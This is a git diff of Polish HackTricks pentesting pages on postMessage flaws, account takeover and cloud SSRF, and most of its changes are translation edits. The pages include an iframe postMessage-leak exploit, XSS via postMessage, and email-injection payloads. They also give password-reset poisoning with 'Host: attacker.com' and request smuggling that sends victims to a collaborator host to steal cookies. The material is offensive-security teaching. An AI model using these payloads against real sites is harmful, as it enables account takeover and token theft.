* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -3,35 +3,22 @@
|
|||
## PostMessage Vulnerabilities
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego dane.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Send **PostMessage**
|
||||
## Wyślij **PostMessage**
|
||||
|
||||
**PostMessage** używa następującej funkcji do wysyłania wiadomości:
|
||||
```bash
|
||||
|
@ -65,7 +52,7 @@ Jeśli użyto **znaku wieloznacznego**, **wiadomości mogą być wysyłane do do
|
|||
|
||||
### Atakowanie iframe i znak wieloznaczny w **targetOrigin**
|
||||
|
||||
Jak wyjaśniono w [**tym raporcie**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), jeśli znajdziesz stronę, która może być **iframed** (brak ochrony `X-Frame-Header`) i która **wysyła wrażliwe** wiadomości za pomocą **postMessage** używając **znaku wieloznacznego** (\*), możesz **zmodyfikować** **pochodzenie** **iframe** i **leak** **wrażliwą** wiadomość do domeny kontrolowanej przez Ciebie.\
|
||||
Jak wyjaśniono w [**tym raporcie**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), jeśli znajdziesz stronę, która może być **iframed** (brak ochrony `X-Frame-Header`) i która **wysyła wrażliwe** wiadomości za pomocą **postMessage** używając **znaku wieloznacznego** (\*), możesz **zmodyfikować** **pochodzenie** **iframe** i **wyciek** **wrażliwej** wiadomości do domeny kontrolowanej przez Ciebie.\
|
||||
Zauważ, że jeśli strona może być iframed, ale **targetOrigin** jest **ustawiony na adres URL, a nie na znak wieloznaczny**, ten **sztuczny trik nie zadziała**.
|
||||
```markup
|
||||
<html>
|
||||
|
@ -93,22 +80,22 @@ return;
|
|||
// ...
|
||||
}, false);
|
||||
```
|
||||
Zauważ w tym przypadku, jak **pierwszą rzeczą**, którą robi kod, jest **sprawdzanie pochodzenia**. To jest strasznie **ważne**, szczególnie jeśli strona ma zamiar zrobić **cokolwiek wrażliwego** z otrzymanymi informacjami (jak zmiana hasła). **Jeśli nie sprawdzi pochodzenia, atakujący mogą zmusić ofiary do wysyłania dowolnych danych do tych punktów końcowych** i zmieniać hasła ofiar (w tym przykładzie).
|
||||
Zauważ w tym przypadku, jak **pierwszą rzeczą**, którą kod robi, jest **sprawdzanie pochodzenia**. To jest strasznie **ważne**, szczególnie jeśli strona ma zamiar zrobić **cokolwiek wrażliwego** z otrzymanymi informacjami (jak zmiana hasła). **Jeśli nie sprawdzi pochodzenia, atakujący mogą zmusić ofiary do wysyłania dowolnych danych do tych punktów końcowych** i zmieniać hasła ofiar (w tym przykładzie).
|
||||
|
||||
### Enumeracja
|
||||
|
||||
Aby **znaleźć nasłuchiwacze zdarzeń** na bieżącej stronie, możesz:
|
||||
|
||||
* **Przeszukać** kod JS w poszukiwaniu `window.addEventListener` i `$(window).on` (_wersja JQuery_)
|
||||
* **Wykonać** w konsoli narzędzi deweloperskich: `getEventListeners(window)`
|
||||
* **Szukaj** w kodzie JS `window.addEventListener` i `$(window).on` (_wersja JQuery_)
|
||||
* **Wykonaj** w konsoli narzędzi deweloperskich: `getEventListeners(window)`
|
||||
|
||||
![](<../../.gitbook/assets/image (618) (1).png>)
|
||||
|
||||
* **Przejść do** _Elements --> Event Listeners_ w narzędziach deweloperskich przeglądarki
|
||||
* **Przejdź do** _Elements --> Event Listeners_ w narzędziach deweloperskich przeglądarki
|
||||
|
||||
![](<../../.gitbook/assets/image (396).png>)
|
||||
|
||||
* Użyć **rozszerzenia przeglądarki** takiego jak [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) lub [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Te rozszerzenia przeglądarki **przechwycą wszystkie wiadomości** i pokażą je Tobie.
|
||||
* Użyj **rozszerzenia przeglądarki** takiego jak [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) lub [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Te rozszerzenia przeglądarki **przechwycą wszystkie wiadomości** i pokażą je Tobie.
|
||||
|
||||
### Ominięcia sprawdzania pochodzenia
|
||||
|
||||
|
@ -118,7 +105,7 @@ Aby **znaleźć nasłuchiwacze zdarzeń** na bieżącej stronie, możesz:
|
|||
```javascript
|
||||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||||
```
|
||||
* Metoda **`search()`** z `String.prototype.search()` jest przeznaczona do wyrażeń regularnych, a nie do ciągów. Przekazanie czegokolwiek innego niż regexp prowadzi do niejawnej konwersji na regex, co czyni tę metodę potencjalnie niebezpieczną. Dzieje się tak, ponieważ w regexie kropka (.) działa jako znak wieloznaczny, co pozwala na ominięcie walidacji za pomocą specjalnie skonstruowanych domen. Na przykład:
|
||||
* Metoda **`search()`** z `String.prototype.search()` jest przeznaczona do wyrażeń regularnych, a nie do ciągów. Przekazanie czegokolwiek innego niż wyrażenie regexp prowadzi do niejawnej konwersji na regex, co czyni tę metodę potencjalnie niebezpieczną. Dzieje się tak, ponieważ w regexie kropka (.) działa jako znak wieloznaczny, co pozwala na ominięcie walidacji za pomocą specjalnie skonstruowanych domen. Na przykład:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
|
@ -144,11 +131,11 @@ result.message; // "'"<b>\"
|
|||
W kontekście tej podatności, obiekt `File` jest szczególnie podatny na wykorzystanie z powodu swojej właściwości `name` tylko do odczytu. Ta właściwość, gdy jest używana w szablonach, nie jest sanitizowana przez funkcję `escapeHtml`, co prowadzi do potencjalnych zagrożeń bezpieczeństwa.
|
||||
* Właściwość `document.domain` w JavaScript może być ustawiana przez skrypt w celu skrócenia domeny, co pozwala na bardziej luźne egzekwowanie polityki tego samego pochodzenia w obrębie tej samej domeny nadrzędnej.
|
||||
|
||||
### e.origin == window.origin ominięcie
|
||||
### e.origin == window.origin omijanie
|
||||
|
||||
Podczas osadzania strony internetowej w **sandboxed iframe** przy użyciu %%%%%%, ważne jest, aby zrozumieć, że pochodzenie iframe będzie ustawione na null. To jest szczególnie ważne, gdy zajmujemy się **atrybutami sandbox** i ich implikacjami dla bezpieczeństwa i funkcjonalności.
|
||||
Podczas osadzania strony internetowej w **sandboxed iframe** za pomocą %%%%%%, ważne jest, aby zrozumieć, że pochodzenie iframe będzie ustawione na null. Jest to szczególnie ważne w przypadku **atrybutów sandbox** i ich implikacji na bezpieczeństwo i funkcjonalność.
|
||||
|
||||
Poprzez określenie **`allow-popups`** w atrybucie sandbox, każde okno popup otwarte z wnętrza iframe dziedziczy ograniczenia sandboxu swojego rodzica. Oznacza to, że chyba że atrybut **`allow-popups-to-escape-sandbox`** jest również uwzględniony, pochodzenie okna popup jest również ustawione na `null`, co jest zgodne z pochodzeniem iframe.
|
||||
Poprzez określenie **`allow-popups`** w atrybucie sandbox, każde okno popup otwarte z wnętrza iframe dziedziczy ograniczenia sandboxu swojego rodzica. Oznacza to, że chyba że atrybut **`allow-popups-to-escape-sandbox`** jest również uwzględniony, pochodzenie okna popup jest również ustawione na `null`, zgodnie z pochodzeniem iframe.
|
||||
|
||||
W konsekwencji, gdy popup jest otwierany w tych warunkach i wiadomość jest wysyłana z iframe do popupu za pomocą **`postMessage`**, zarówno nadawca, jak i odbiorca mają swoje pochodzenia ustawione na `null`. Ta sytuacja prowadzi do scenariusza, w którym **`e.origin == window.origin`** ocenia się jako prawda (`null == null`), ponieważ zarówno iframe, jak i popup dzielą tę samą wartość pochodzenia `null`.
|
||||
|
||||
|
@ -195,7 +182,7 @@ Na poniższej stronie możesz zobaczyć, jak można ukraść **wrażliwe dane po
|
|||
|
||||
### Kradzież wiadomości przez modyfikację lokalizacji iframe
|
||||
|
||||
Jeśli możesz iframe'ować stronę internetową bez nagłówka X-Frame, która zawiera inny iframe, możesz **zmienić lokalizację tego dziecięcego iframe**, więc jeśli odbiera **postmessage** wysłane za pomocą **wildcard**, atakujący może **zmienić** ten iframe **origin** na stronę **kontrolowaną** przez niego i **ukraść** wiadomość:
|
||||
Jeśli możesz umieścić stronę w iframe bez nagłówka X-Frame, która zawiera inny iframe, możesz **zmienić lokalizację tego dziecięcego iframe**, więc jeśli odbiera **postmessage** wysłane za pomocą **wildcard**, atakujący mógłby **zmienić** ten iframe **origin** na stronę **kontrolowaną** przez niego i **ukraść** wiadomość:
|
||||
|
||||
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
||||
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
||||
|
@ -203,7 +190,7 @@ Jeśli możesz iframe'ować stronę internetową bez nagłówka X-Frame, która
|
|||
|
||||
### postMessage do zanieczyszczenia prototypu i/lub XSS
|
||||
|
||||
W scenariuszach, w których dane wysyłane przez `postMessage` są wykonywane przez JS, możesz **iframe'ować** **stronę** i **wykorzystać** **zanieczyszczenie prototypu/XSS**, wysyłając exploit za pomocą `postMessage`.
|
||||
W scenariuszach, w których dane wysyłane przez `postMessage` są wykonywane przez JS, możesz **umieścić** **stronę** w **iframe** i **wykorzystać** **zanieczyszczenie prototypu/XSS**, wysyłając exploit za pomocą `postMessage`.
|
||||
|
||||
Kilka **bardzo dobrze wyjaśnionych XSS przez `postMessage`** można znaleźć pod adresem [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||||
|
||||
|
@ -223,7 +210,7 @@ setTimeout(get_code, 2000);
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
For **więcej informacji**:
|
||||
Dla **więcej informacji**:
|
||||
|
||||
* Link do strony o [**zanieczyszczeniu prototypu**](../deserialization/nodejs-proto-prototype-pollution/)
|
||||
* Link do strony o [**XSS**](../xss-cross-site-scripting/)
|
||||
|
@ -233,19 +220,8 @@ For **więcej informacji**:
|
|||
|
||||
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||||
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||||
* Do ćwiczeń: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||||
* Aby ćwiczyć: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -256,8 +232,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,25 +9,12 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcje do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego dane.
|
||||
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Przejęcie rejestracji
|
||||
|
||||
|
@ -39,7 +26,7 @@ Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adrese
|
|||
* \+1@
|
||||
* dodaj kropkę w adresie e-mail
|
||||
* znaki specjalne w nazwie e-maila (%00, %09, %20)
|
||||
* Dodaj czarne znaki po e-mailu: `test@test.com a`
|
||||
* Dodaj czarne znaki po adresie e-mail: `test@test.com a`
|
||||
* victim@gmail.com@attacker.com
|
||||
* victim@attacker.com@gmail.com
|
||||
|
||||
|
@ -54,7 +41,7 @@ W takim przypadku możesz spróbować przeprowadzić atak brute force na dane lo
|
|||
|
||||
### SQL Injection
|
||||
|
||||
[**Sprawdź tę stronę** ](sql-injection/#insert-statement), aby dowiedzieć się, jak próbować przejęć kont lub wydobywać informacje za pomocą **SQL Injection** w formularzach rejestracyjnych.
|
||||
[**Sprawdź tę stronę** ](sql-injection/#insert-statement), aby dowiedzieć się, jak próbować przejęć kont lub wydobywać informacje za pomocą **SQL Injections** w formularzach rejestracyjnych.
|
||||
|
||||
### Przejęcia Oauth
|
||||
|
||||
|
@ -70,7 +57,7 @@ W takim przypadku możesz spróbować przeprowadzić atak brute force na dane lo
|
|||
|
||||
### Zmień e-mail
|
||||
|
||||
Po rejestracji spróbuj zmienić e-mail i sprawdź, czy ta zmiana jest poprawnie weryfikowana, czy można ją zmienić na dowolne e-maile.
|
||||
Po rejestracji spróbuj zmienić adres e-mail i sprawdź, czy ta zmiana jest poprawnie weryfikowana, czy można ją zmienić na dowolne adresy e-mail.
|
||||
|
||||
### Więcej kontroli
|
||||
|
||||
|
@ -81,7 +68,7 @@ Po rejestracji spróbuj zmienić e-mail i sprawdź, czy ta zmiana jest poprawnie
|
|||
|
||||
## **Przejęcie resetu hasła**
|
||||
|
||||
### Wycieczka tokena resetu hasła przez referer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
### Wyciekanie tokena resetu hasła przez referer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
|
||||
1. Poproś o reset hasła na swój adres e-mail
|
||||
2. Kliknij w link do resetu hasła
|
||||
|
@ -96,7 +83,7 @@ Po rejestracji spróbuj zmienić e-mail i sprawdź, czy ta zmiana jest poprawnie
|
|||
2. Dodaj lub edytuj następujące nagłówki w Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Prześlij żądanie z zmodyfikowanym nagłówkiem\
|
||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||
4. Szukaj URL resetu hasła na podstawie _nagłówka hosta_ jak: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
4. Szukaj URL resetu hasła na podstawie _nagłówka host_ jak: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
### Reset hasła przez parametr e-mail <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
```powershell
|
||||
|
@ -124,7 +111,7 @@ email=victim@mail.com|hacker@mail.com
|
|||
|
||||
### Słaby token resetowania hasła <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
|
||||
Token resetowania hasła powinien być generowany losowo i unikalny za każdym razem.\
|
||||
Token resetowania hasła powinien być generowany losowo i być unikalny za każdym razem.\
|
||||
Spróbuj ustalić, czy token wygasa, czy zawsze jest taki sam; w niektórych przypadkach algorytm generacji jest słaby i można go odgadnąć. Poniższe zmienne mogą być używane przez algorytm.
|
||||
|
||||
* Znacznik czasu
|
||||
|
@ -165,7 +152,7 @@ Zobacz: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
|||
1\. Użyj **smuggler** do wykrycia typu HTTP Request Smuggling (CL, TE, CL.TE)\
|
||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||
2\. Stwórz żądanie, które nadpisze `POST / HTTP/1.1` następującymi danymi:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` z celem otwarcia przekierowania ofiar do burpcollab i kradzieży ich ciasteczek\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` z celem otwartego przekierowania ofiar do burpcollab i kradzieży ich ciasteczek\
|
||||
3\. Ostateczne żądanie może wyglądać następująco
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
|
@ -184,7 +171,7 @@ Hackerone raporty wykorzystujące ten błąd\
|
|||
|
||||
### Przejęcie konta za pomocą CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
|
||||
1. Stwórz ładunek dla CSRF, np: “formularz HTML z automatycznym przesyłaniem do zmiany hasła”
|
||||
1. Stwórz ładunek dla CSRF, np: „formularz HTML z automatycznym przesyłaniem do zmiany hasła”
|
||||
2. Wyślij ładunek
|
||||
|
||||
### Przejęcie konta za pomocą JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
|
@ -202,17 +189,6 @@ JSON Web Token może być używany do uwierzytelniania użytkownika.
|
|||
|
||||
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -223,8 +199,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,43 +1,35 @@
|
|||
# Cloud SSRF
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## AWS
|
||||
|
||||
### Wykorzystywanie SSRF w środowisku AWS EC2
|
||||
### Abusing SSRF in AWS EC2 environment
|
||||
|
||||
**Punkt końcowy metadanych** można uzyskać z wnętrza dowolnej maszyny EC2 i oferuje interesujące informacje na jej temat. Jest dostępny pod adresem: `http://169.254.169.254` ([informacje o metadanych tutaj](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
**Punkt metadanych** można uzyskać z wnętrza każdej maszyny EC2 i oferuje interesujące informacje na jej temat. Jest dostępny pod adresem URL: `http://169.254.169.254` ([informacje o metadanych tutaj](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
